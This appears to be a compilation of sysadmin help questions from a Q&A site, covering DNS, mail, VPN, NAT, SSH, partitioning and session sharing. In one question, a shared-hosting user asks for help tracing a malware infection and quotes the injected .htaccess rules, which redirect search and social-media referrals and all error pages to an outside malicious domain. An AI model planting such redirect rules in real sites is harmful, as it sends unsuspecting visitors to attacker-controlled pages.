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• Email delivering but not receiving from Gmail

  - by Karthik Malla

  Host Record type Value 65.75.241.26 / 24 PTR softmail.me. accs.softmail.me. A 65.75.241.26 beta.softmail.me. A 65.75.241.26 ftp.softmail.me. CNAME softmail.me. lists.softmail.me. CNAME softmail.me. mail.softmail.me. A 65.75.241.26 mssql.softmail.me. A 65.75.241.26 ns.softmail.me. A 65.75.241.26 sitebuilder.softmail.me. A 65.75.241.26 softmail.me. NS ns.softmail.me. softmail.me. A 65.75.241.26 softmail.me. MX (10) mail.softmail.me. test.softmail.me. A 65.75.241.26 webmail.softmail.me. A 65.75.241.26 www.accs.softmail.me. CNAME accs.softmail.me. www.beta.softmail.me. CNAME beta.softmail.me. www.softmail.me. CNAME softmail.me. www.test.softmail.me. CNAME test.softmail.me. The above are the DNS settings of my email server and mail incoming/outgoing is done by softmail.me:25/110 using which I am able to send emails but unable to receive. Can anyone tell me where the problem lies at?

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• virtualized windows 2003 domain with CentOS 5.3 and poor connectivity

  - by Chris Gow

  Hi: I have a test lab set up running a virtualized windows 2003 domain on a CentOS 5.3(xen) host and am experiencing connectivity problems with guests running on other hosts that are part of the same domain. Here's the setup: On Computer A I have CentOS 5.3 running as the host and have virtualized windows 2003 servers for a primary domain controller, a backup domain controller and an exchange server. The primary domain controller also acts as a WINS and dns server. The windows domain appears on a separate subnet from my company's corporate network. Connectivity to any of the virtualized guests on Computer A is fine (remote desktop, ping, what have you). I have another host computer (Computer B) that also has a virtualized Windows 2003 server guest that is part of the same domain. However, connectivity to that guest is flaky at best. I continuously get at least 60% packet loss when I try to ping the guest, and due to that flakiness I can not access any of the services that it runs (remote desktop, web). Now here's the interesting part. It seems to affect only machines running on a different computer than the domain controller that are in the same domain. On Computer B there is another Windows 2003 guest that is not part of the test domain and is on my corporate network. There's no connectivity issues with that guest machine. The problem does not seem to be specific to Computer B either. I created a test VM on my local computer within the test domain and it exhibits the same behaviour as the guest in Computer B. A couple of items to note: - Host OS on both Computer A and B are the same CentOS 5.3 64 bit - Guest OS is Windows 2003 64 bit and 32 bit (the guest on Computer B is 32 bit) - Guest OSes are all up to date (as of Monday) - Host OS on Computer A was upgraded from CentOS 5.2 to 5.3 Update: Sorry I did not follow up with the comments from below. Computer A and B have been moved to their own dedicated switch and the problem has gone away. I'm not sure what the underlying problem(s) were though

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• How does Subnetting Work?

  - by Kyle Brandt

  How does Subnetting Work, and How do you do it by hand or in your head? Can someone explain both conceptually and with several examples? Server Fault gets lots of subnetting homework questions, so we could use an answer to point them to on Server Fault itself. What is classless routing and why is class-based routing obsolete? If I have a network, how do I figure out how to split it up? If I am given a netmask, how do I know what the network Range is for it? Sometimes there is a slash followed by a number, what is that number? Sometimes there is a subnet mask, but also a wildcard mask, they seem like the same thing but they are different? Someone mentioned something about knowing binary for this? What is NAT (Network Address Translation). Not looking for links to other sites (unless maybe you have one post with a bunch of good ones). I already know how to subnet, I just thought it would be nice if Server Fault had a generic subnetting answer.

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• Using a nat rule to translate 80/443 traffic to web server, but internal users cannot access it using external ip/domain name

  - by Josh

  I am using Cisco ASDM for ASA I have my internal network called soa. My outside interface is called outside. Let's say my outside IP given to me by my ISP isp is y.y.y.y I have a web server inside my network with a static ip of x.x.x.110. I have configured 2 static nat rules (one for http the other for https). Source is x.x.x.110. Interface is outside, service (http or https). Maybe I am doing this wrong, but when I run the packet tracer, I choose outside interface and for the source IP I used 8.8.8.8 and the destination ip is my outside IP address, y.y.y.y When I run that, it shows the packet traversing successfully, using 9 steps. For my other test, I switch to the soa interface, input an ip on that network, and leave the destination the same. This test comes up with 2 steps and then fails on my access list. When I see the rule that fails, it is my catch all which is source: any desitnation: any, service: ip action: deny. What rule do I need to make to allow my soa network access to go out and come back in by my external IP addess (using a domain name attached to that ip in my dns, of course)?

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• How can I avoid my web browser from redirecting to localhost using WAMP in Windows7?

  - by Josh

  I'm currently using Windows 7 with WAMP to try and work on some software, but my web browsers will not accept cookies from the "localhost" domain. I tried creating a few bogus domains in my hosts file by pointing them to 127.0.0.1 but when I type them in I am automatically redirected back to localhost. I have also configured virtualhosts in apache to correspond with the domains I added to the hosts file and it still redirects back to localhost. Is there anything special I must do on Windows 7 to get around this localhost redirect? Thanks for looking :) I'll include my host file here: # Copyright (c) 1993-2009 Microsoft Corp. # # This is a sample HOSTS file used by Microsoft TCP/IP for Windows. # # This file contains the mappings of IP addresses to host names. Each # entry should be kept on an individual line. The IP address should # be placed in the first column followed by the corresponding host name. # The IP address and the host name should be separated by at least one # space. # # Additionally, comments (such as these) may be inserted on individual # lines or following the machine name denoted by a '#' symbol. # # For example: # # 102.54.94.97 rhino.acme.com # source server # 38.25.63.10 x.acme.com # x client host # localhost name resolution is handled within DNS itself. # 127.0.0.1 localhost # ::1 localhost 127.0.0.1 magento.localhost.com www.localhost.com Thanks for looking :)

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• TCP dies on a Linux laptop

  - by Roman Cheplyaka

  Once in several days I have the following problem. My laptop (Debian GNU/Linux testing) suddenly becomes unable to work with TCP connections to the internet. The following things continue to work fine: UDP (DNS), ICMP (ping) — I get instant response TCP connections to other machines in the local network (e.g. I can ssh to a neighbour laptop) everything is ok for other machines in my LAN But when I try TCP connections from my laptop, they time out (no response to SYN packets). Here's a typical curl output: % curl -v google.com * About to connect() to google.com port 80 (#0) * Trying 173.194.39.105... * Connection timed out * Trying 173.194.39.110... * Connection timed out * Trying 173.194.39.97... * Connection timed out * Trying 173.194.39.102... * Timeout * Trying 173.194.39.98... * Timeout * Trying 173.194.39.96... * Timeout * Trying 173.194.39.103... * Timeout * Trying 173.194.39.99... * Timeout * Trying 173.194.39.101... * Timeout * Trying 173.194.39.104... * Timeout * Trying 173.194.39.100... * Timeout * Trying 2a00:1450:400d:803::1009... * Failed to connect to 2a00:1450:400d:803::1009: Network is unreachable * Success * couldn't connect to host * Closing connection #0 curl: (7) Failed to connect to 2a00:1450:400d:803::1009: Network is unreachable Restarting the connection and/or reloading the network card kernel module doesn't help. The only thing that helps is reboot. Clearly something is wrong with my system (everything else works fine), but I have no idea what exactly. I don't know how to reproduce this, but as I said, it happens every several days. My setup is a wireless router that is connected to the ISP via PPPoE. Any advice?

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• Cisco RV042 VPN with Dynamic IPs - Remote Gateway Not Resolving

  - by Rister

  I have an existing network setup that I inherited from my predecessor. Currently there are two sites, each with a Linksys RV042 VPN router running the 1.3.12.19-tm firmware. They are currently set up with a Gateway to Gateway VPN. One site has a static IP, the other has a Dynamic IP with a hostname set up on no-ip.com. My company is looking to set up another site so I purchased another RV042 only this one was Cisco branded and it is running the latest firmware. I had assumed that I would be able to configure a vpn from our main office (the dynamic ip) to the new site with this router quite easily. However when I set up a new VPN tunnel on either device, it stays on Waiting for Connection and the Remote Gateway shows an ip address of 0.0.0.0 rather than the remote ip address. The other VPN tunnel is still working and I don't see any obvious misconfiguration on the new router. It seems that the router is not resolving the Dynamic DNS address and therefore not giving me the option to connect the VPN. Does a Gateway to Gateway VPN work with Dynamic IP addresses on each end? Are the firmware versions not compatible? Is there something I've missed?

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• Juniper SSG20 IP settings for email server

  - by codemonkie

  We have 5 usable external static IP addresses leased by our ISP: .49 to .53, where .49 is assigned to the Juniper SSG20 firewall and NATed for 172.16.10.0/24 .50 is assigned to a windows box for web server and domain controller .51 is assigned to another windows box with exchange server (domain: mycompany1.com) mx record is pointing to 20x.xx.xxx.51 Currently there is a policy set for all SMTP incoming traffic addressed to .51 forward to the NATed address of the exchange server box (private IP: 172.16.10.194). We can send and receive emails for both internal and external, but the gmail is saying mails from mycomany1.com is not sent from the same IP as the mx lookup however is from 20x.xx.xxx.49: Received-SPF: neutral (google.com: 20x.xx.xxx.49 is neither permitted nor denied by best guess record for domain of [email protected]) client-ip=20x.xx.xxx.49; Authentication-Results: mx.google.com; spf=neutral (google.com: 20x.xx.xxx.49 is neither permitted nor denied by best guess record for domain of [email protected]) [email protected] and the mx record in global dns space as well as in the domain controller .50 for mail.mycompany1.com is set to 20x.xx.xxx.51 My attempt to resolve the above issue is to Update the mx record from 20x.xx.xxx.51 to 20x.xx.xxx.49 Create a new VIP for SMTP traffic addressed to 20x.xx.xxx.49 to forward to 172.16.10.194 After my changes incoming email stopped working, I believe it has something to do with the Juniper setting that SMTP addressed to .49 is not forwarded to 172.16.10.194 Also, I have been wondering is it mandatory to assign an external static IP address to the Juniper firewall? Any helps appreciated. TIA

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• Check for unique rows, but ignore one particular column

  - by user269148

  I have an XML document, that looks like this: Column A to S with headers, and there are 1922 rows. This is an backup of some SMS, and I want to get rid of duplicates. The problem is, that the Time in the readable_date header has been messed up. There is nothing wrong with the date, but the clock time is wrong, so I have split that column in three, with Year, day and clock. I know I can use a standard filter, but it only looks for unique rows in a single column. What I want to perform, is to make a row check similar to this: F(x)=Check if Column 2A to (infinate) is equal to Column 3A to (infinate), but ignore column(R). IF True, then delete Column 3A to (infinate) Otherwise Check IF column 2A to (infinate) is equal Column 4A to (infinate) and so on. I need to ignore a particular column in a row every time, and need to do this for a complete sheet. And the formula check should apply for every row, when the first one is done checking for duplicates... If anyone else has a better solution, please say so. Anyway, anyone who can help?

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• Can't get subdomain to point to working collabNet server - what am I doing wrong?

  - by Jared

  Hello everyone, I am running a web server using CollabNet SubVersion EDGE. You can view it at 71.13.105DOT51 I also run another website, http://www.tutorialcraft.com. I went into my Cpanel, and created a DNS record as follows: svn.tutorialcraft.com. 14400 IN A 71.13.105.51 Yet, if you go to http://svn.tutorialcraft.com, it doesn't load. I tested to see if I was doing some wrong, so I created a ebay.tutorialcraft.com and pointed it to eBay servers, and it worked fine (it's not up now). Anyone have any ideas? Thanks UPDATE NOTES: I tried to point svn.tutorialcraft.com to my original IP address (the one that www.tutorialcraft.com is pointed to, and it still won't load. Also, may be worthy of note, I am running a wordpress multi-site server, and I have disabled blog redirection. Here is a sample of my .htaccess as well: RewriteEngine On RewriteCond %{HTTP_HOST} ^tutorialcraft\.com RewriteRule (.*) http://www.tutorialcraft.com/$1 [R=301,L] RewriteBase / RewriteRule ^index\.php$ - [L] # uploaded files RewriteRule ^files/(.+) wp-includes/ms-files.php?file=$1 [L] RewriteCond %{REQUEST_FILENAME} -f [OR] RewriteCond %{REQUEST_FILENAME} -d RewriteRule ^ - [L] RewriteRule . index.php [L]

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• Ubuntu 12.04 partioning an external drive without lossing data

  - by Menelaos Perdikeas

  I have an Ubuntu 12.04 with an external 1.5T disk (just for data). It is /dev/sdc1 seen below: $ df -T Filesystem Type 1K-blocks Used Available Use% Mounted on /dev/sda1 ext4 1451144932 27722584 1350794536 3% / udev devtmpfs 6199460 4 6199456 1% /dev tmpfs tmpfs 2482692 988 2481704 1% /run none tmpfs 5120 0 5120 0% /run/lock none tmpfs 6206724 284 6206440 1% /run/shm /dev/sdc1 fuseblk 1465135100 172507664 1292627436 12% /media/Elements The thing is I would like to implement this rsync-based backup strategy and I want to use my /dev/sdc1 external drive for that. Since the guide mentioned above recommends placing the backup directory in a separate partition I want to repartition the /dev/sdc1 external hard disk but retain existing data in a separate partition. E.g. split /dev/sdc1 into two partitions: (i) one to be used exclusively for the rsync-based backup and (ii) the other for the existing miscellaneous data. How should I go about partitioning with minimal risk to my existing data and what kind of filesystem do you recommend? I would prefer a console-based guide but unfortunately all the material I found on the web is oriented towards partitioning the main (bootable) disk and not an external fuseblk filesystem used only for passive data.

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• Change source address based on destination IP

  - by hgj

  We have several "router" machines that gather a lot of external IP addresses on the same host and redirect, NAT or proxy the traffic to the internal network. They also act as routers for the machines on the internal network. This works fine, however I am unable to make the routing table, so I can change the source address, based on the destination a machine from the internal network want to access. Let's say I have a router, that has public addresses P1 (5.5.5.1/24) and P2 (5.5.5.2/24). All traffic goes through P1, but if necessary, the host is reachable on P2 too. This looks like this and works fine: > ip addr ... 1: eth1: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc pfifo_fast state UP qlen 1000 link/ether aa:bb:cc:dd:ee:11 brd ff:ff:ff:ff:ff:ff inet 5.5.5.1/24 brd 5.5.5.255 scope global eth1 inet 5.5.5.2/24 brd 5.5.5.255 scope global secondary eth1:p2 ... Now I want to use P2 as the source address, if I want to access the Google DNS service for example (8.8.8.8). So I add a row in the routing table like: > ip route add 8.8.8.8 via 5.5.5.254 dev eth1 src 5.5.5.2 > ip route ... default via 5.5.5.254 dev eth1 5.5.5.0/24 dev eth1 proto kernel scope link src 5.5.5.1 8.8.8.8 via 5.5.5.254 dev eth1 src 5.5.5.2 ... But this does not work. If I ping 8.8.8.8, the host still uses P1 as the source address, and does not use P2 at all for outgoing connections. Am I doing it right? I guess not...

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• shared hosting with malware, .htaccess file gets modified every 2 hours or so

  - by apache

  I spent all day today chasing malware on the shared hosting for one of my clients. The issue is as follows: Every 2 hours or so .htaccess file and all other .htaccess files gets modified, on the top of the file these lines are added: IfModule mod_rewrite.c> RewriteEngine On RewriteCond %{HTTP_REFERER} ^.*(google|ask|yahoo|youtube|wikipedia|excite|altavista|msn|aol|goto|infoseek|lycos|search|bing|dogpile|facebook|twitter|live|myspace|linkedin|flickr)\.(.*) RewriteRule ^(.*)$ http://pasla-ghwoo.ru/rqpgfap?8 [R=301,L] </IfModule> and on the bottom: ErrorDocument 400 http://pasla-ghwoo.ru/rqpgfap?8 ErrorDocument 401 http://pasla-ghwoo.ru/rqpgfap?8 ErrorDocument 403 http://pasla-ghwoo.ru/rqpgfap?8 ErrorDocument 404 http://pasla-ghwoo.ru/rqpgfap?8 ErrorDocument 500 http://pasla-ghwoo.ru/rqpgfap?8 The main problem I'm not root on the server, and cannot sudo, as this is shared hosting with 100's of websites. Typical good commands like dmesg, lsof, dtrace, chattr and many others are not available to me as I'm not root. I can't find who is modifying .htaccess files, how do I get that info? My guess is some php script is changing that which is called from outside via command and control. This seems to relate to this: http://blog.unmaskparasites.com/2009/09/11/dynamic-dns-and-botnet-of-zombie-web-servers/ How do I find out who is modifying .htaccess files without being root?

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• Nokia E75 Mail for Exchange

  - by Sebastian

  Hi, I have a SBS2003 runing Exchange Server 2003 SP2. My OWA has a godaddy certificate valid for 3 years to come installed. HTTPS works fine for OWA. The certificate has also been copied into the Nokia E95 I am trying to syncronize my Nokia E75 via Mail for Exchange to my mail account on the Exchange server. These are the steps i use: Menu Email New Start Select Internet Gateway Than i enter the details: [email protected] I select company email Mail for Exchange In the domain menu i enter : mydomain In the username/password menu i enter : myusername/mypassword In the server menu i enter : mail.mydomain.com (where the DNS resolves into the server's IP address) In the secure access i select : Internet / Secure / 443 NOTE : port 443 has been opened on my SBOX and forwarded to the exchange server. On IIS default website properties directory security secure communications edit the "Require Secure Channel SSL" is enabled. However, when i try to sync my phone i get the following error code: * Mail for Exch permissions illegal. Check permission configuration. * The phone log gives the following information : Username or Password Illegal. Correct Username and/or Password in the profile options. I've tried speaking with the Phone service support but they cannot identify the problem. Any help will be much apreciated.

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• Strange network connectivity problem

  - by Marc

  Here is my network connectivity: cable modem | |(WAN) wrt54g (default gateway, 192.168.1.1) -- earth |(LAN) | Simple Switch1 | | | | | SimpleSwitch2- neptune | | | | mars mercury | |- venus | |- laptop | saturn (Windows AD DC) simpleSwitch2 was hanging off the wrt54g. I moved it to SW1 during troubleshooting. Nothing described below was any different. earth is connected via wireless to the wrt54g. I can ping from laptop to mars, neptune & mercury. I can ping from earth to venus, saturn & laptop. However, pinging mars, mercury or neptune from earth gives the following result. Pinging mars.XXX.XXX [192.168.1.105] with 32 bytes of data: Reply from 192.168.1.122: Destination host unreachable. Reply from 192.168.1.122: Destination host unreachable. Reply from 192.168.1.122: Destination host unreachable. Reply from 192.168.1.122: Destination host unreachable. Ping statistics for 192.168.1.105: Packets: Sent = 4, Received = 4, Lost = 0 (0% loss), .122 is the address of the machine from which I am pinging. earth is a Vista machine. Windows firewall is off. saturn is my DNS & DHCP server. Can anyone give me any ideas what the h*ll is going on? Clearly the topology is a factor And yes, I am a space geek.

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• Best way to run site through https on server which can't add additional certs

  - by penguin

  So I'm in a curious situation in that I am using a particular server to host things, which I can't host anywhere else (it has access to user databases etc which can't otherwise be accessed). I've been in quite a bit of discussion with the sysadmin at it looks like the only way to run our site: www.foo.com over https may be through some sort of proxy. Currently, users go to www.foo.com and are redirected to https:// host-server.com/foo, as there is an SSL cert installed on that. I want users to be on https:// www.foo.com. I'm told that for various reasons it's going to be very difficult to add an additional SSL cert to the host server. So I was wondering if it is possible to have the DNS records point to a new server, which then creates the HTTPS connection with the browser. Then it forwards requests to https:// host-server.com/foo and feeds the replies back to the original requester. Does this make sense? And would it be at all feasible? My experience with SSL is limited at best, so thanks in advance for your help :) ps gaps in hyperlinks as ServerFault was getting unhappy with the number of links I was posting!

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• Handling emails on a web server - Making sure the FQDN is set correctly based on the website sending the email

  - by webnoob

  I have a Windows 2008 Web Edition server hosting multiple websites using IIS 7.5. At the moment, all the emails are sent via the IIS6 SMTP service. The FQDN of the SMTP service is set to the computer name at the moment which isn't correct as it doesn't resolve to a valid DNS entry and is not RFC compliant. Some questions: Is there any way I can change the FQDN of the SMTP service based on the site sending the email? Would it be Ok to just setup mailserver.mydomain.com and use that as the FQDN for all the sites on multiple domains. Should I be using some other mail server software to handle this better? The reason I am asking is lots of emails are hitting spam folders because the settings are incorrect. I have access to the code that is running the websites so if something needs to be done there then that shouldn't be a problem. The sites are written using ASP.NET 2.0. EDIT: I have just found an option to create an SMTP virtual service. Would this be the way forward? Create a virtual server for each site? Thanks.

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• Looking for a software / something to automate some simple audio processing

  - by Daniel Magliola

  I'm looking for a way to take a 1-hour podcast MP3 file and split it into several several 2-minute MP3s. Along the way, I'd like to also do a few things like Amplify the volume. The problem I'm solving is that I have a crappy MP3 player that won't let me seek forward or backward, nor will it remember where I left it when I turn it off, plus, I listen to these in a seriously high-noise situation. Thus, I need to be able to skip forward in large chunks (2-5 minutes) to the point where I left it. Is there any decent way to do this? Audacity doesn't seem to have command-line capabilities. I'm willing to write some code, for example, to call something over the command line and get how long the MP3 file is, to later know how many pieces i'll have, and then say "create an MP3 with 0:00 to 2:00", "create an MP3 with 2:00 to 4:00", etc. I'm also willing to pay for the right tools if necessary. I also don't care how slow this runs, as long as I can automate it :-) I'm doing this on Windows. Any pointers / ideas? Thanks!

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• Can't see more than the first few lines in an SSH connection

  - by hello

  I need some help for SSH buffer size. I have a vista machine at home and i have installed "Free SSHD" on it. I also have Dynamic DNS setup to access some of my home lab equipment which are connected to this vista machine. From my work machine which is an XP machine I connect to my home machine using Putty. Everything up to this point is working fine without any problem. The issue is I can't see more lines than the first few lines of the output. I press the space bar to get more output off the screen and the output scrolls up and it gets lost as the more output gets displayed on the screen. The Putty client i am using on my work machine has been setup with enough buffer size but the output still only displays few lines and as it moves up, the buffer gets empty automatically. I have searched the entire web and haven’t found any proper solution any where. Can someone please help here? Thanks.

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• PHP on several servers with session-sharing

  - by Etu

  there's certanly other threads about this, but I have one more question. We are about to scale the website at work to have more than one server. And we need to share the sessions between the servers. We have been looking into different solutions, one in memcached and use Memcached as sessionhandler in PHP. That will probably work. And the idea would be to run memcached on every machine and let all webservers access all other servers memcached servers, and then we have shared sessions between the machines, yay. (we have no resources to setup with sticky-sessions yet, that's a later project. we need this running, and we need this running now. and we will loadbalance with DNS for a starter) But then... If I want to take one server down, say, for maintenance, or a server crashes, or whatever reason. I don't want the users to just loose their sessions and have to start from the beginning... That's why we need some kind of replication, which Memcached does not support. Then I found http://repcached.lab.klab.org/ -- which has multi-master replication of memcached, which is great, and is what I want. But does it work with 2 machines? Say 3, 5, 10? For future scaling. I also looked into redishttp://redis.io/ -- which also seems great, but is a bit more "shaky" with the php-session-handler support, and no multi-master-replication. The thing is that I like to use memcached, but I want to be able to power down one of two boxes without loosing half of the sessions. Any suggestions?

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• Strange issue with 74.125.79.118

  - by Domenic

  I'm facing with a strange issue on a Linux server. After frequent crashes the analysis found that the server is led to collapse by a huge number of connections to the ip 74.125.79.118 departing from php scripts of the hosted web sites. After a depth analysis of the files I'm found that are not present any malware infections. Ip 74.125.79.118 is Google. I realize after a Google search that the connections to this ip are generated by embedded video from youtube on web sites, among other Google features like safe search. But I don't understand how this type of behavior can lead to the collapse the server and the uniqueness of the situation leads me to think that the situation is far from being attributable only to Google and Youtube. Also I've found that blocking connections from eth0 to 74.125.79.118:80 doesn't solve the issue but if I stop DNS traffic from eth0 to internet, connections to 74.125.79.118 stops. I'm really confused about this. Any suggestions? Cheers.

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• Uninstallation of WSUS form SBS 2008

  - by Logik

  I am not much experienced system admin, but i came across the client who was having SBS 2008. The server was running out of HDD space. So to recover some, I removed its WSUS role (twas not needed).this removed WSUS 3.0 SP1 & freed a lot of space. This SBS is: Domian controller, DNS, DHCP, File server. After i removed WSUS i disabled windows update service & i rebooted serer & checked from one of client if the shared folders are accessible. they were. Next day all of sudden i got call from them saying they can't login into their domain. I looked into server, the Active directory service was stopped. I never remember touching any service other than windows update. How come AD service stopped running all of sudden. Is removing WSUS have such impact? I am not aware of any such thing.

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• Offloading backups to secondary network

  - by user1467163

  I'm trying to solve a problem- Currently, we are constantly backing up and have no budget for additional servers. Our production network is still a 10/100 and handles voip, SQL plus our backup traffic, and I'd like to offload the backup traffic onto a secondary network- all of our servers have secondary NIC's that are not in use, and all support gigabit (Our switching hardware does not- a topic for another day). I'd like to move my backups off the production network, but I am having a hard time getting the computers to communicate. I am using a Netgear GS724T switch for the backup network- Chosen for cost and because I have used them extensively on networks saturated with ghosting traffic, so I know it's up to the task. I have defined a VLAN, with ports that are not members of any other VLAN. All traffic is untagged on the VLAN. I have set the servers with 192.168.1.10 and 192.168.1.11 addresses, 255.255.255.0 netmask and I have tried a blank GW, using the local IP of the server 192.168.1.whatever address, and I have tried using the switch's production-side IP as the GW. The machines cannot find each other. DNS addresses are blank because I am going purely by IP for now... Any ideas how to get these machines to talk? they are Windows machines, running Server 2008R2 and 2003R2. Thanks!

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• torrent downloads not showing on Squid log

  - by noobroot

  hello, i have just a few months working as sysadmin, hence i still have lots to learn, first thing id like to do is as follows: We have an OpenBSD 4.5 box acting like firewall,dns,cache etc, the box has 2 network cards, one conected directly to the internet and the other to our switch, i used to work with sarg for the log analysis but then changed to the much faster free-sa. I use a daily free-sa report to check the bandwidth usage and report our top 5 bandwidth consumers (3 days a week being #1 and you will be buying the pizzas :D, we are a small company ~20 so we are very familiar). this was working really good until recently, one of us required to download some stuff via torrent (~3GB) and since the pizza rule is active for non-work related downloads, he told me (verified) that his download was indeed work related so i would dismiss that 3GB off his quota, but to my surprise the log didnt showed that 3GB, since his ip consumption was only around 290MB. More recently, since the FIFA world cup started, we know that some of the employees are watching the match's streaming, we know it and we dont care about it since, like already stated, we are a small company so we dont have restrictive policies, we all can chat, watch youtube, download anything we want BUT we are only allowed 300MB a day otherwise you'll get in the top5-pizza-board, anyway, that streaming consumption is also not showing in the free-sa reports. So my question is, why is these data being excluded from the reports? im thinking that the free-sa reports list only certain types of things but im also thinking if are the squid logs the ones that are not erm... logging these conections. Any help, guide, advice or clarification is appreciated.

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• At what point does the performance gap between GPU & CPU become so great that the CPU is holding back a system?

  - by Matthew Galloway

  I know that generally speaking for gaming performance the GPU is the primary factor which holds back performance, with everything else such as RAM/motherboard/PSU/CPU being secondary in importance to the graphics card. But at some point the other components ARE going to be significant in holding back the whole system! For instance nobody would be silly enough to play modern games with 512MB RAM and the very latest graphics cards (such as an HD7970) as I bet the performance increase over such a system with only 512MB but a mid range card would be non-existent! Thus it would be a "waste" for such a person to buy any high end graphics card without resolving first the system's other problems. The same point applies to other components, such as if it only had a Pentium II a current high end graphics card would be wasted on it! So my core question is how do you determine at what point for your system is spending on extra GPU power be completely "wasted"? (also, a slightly more nuanced question is trying work out at what point might the extra graphics power not be "wasted" but would be "sub optimal" value for money, when the expenditure should then be split around graphics card and other components. As obviously a gamer shouldn't always just spend on upgrading the graphics card! But needs to balance it out)

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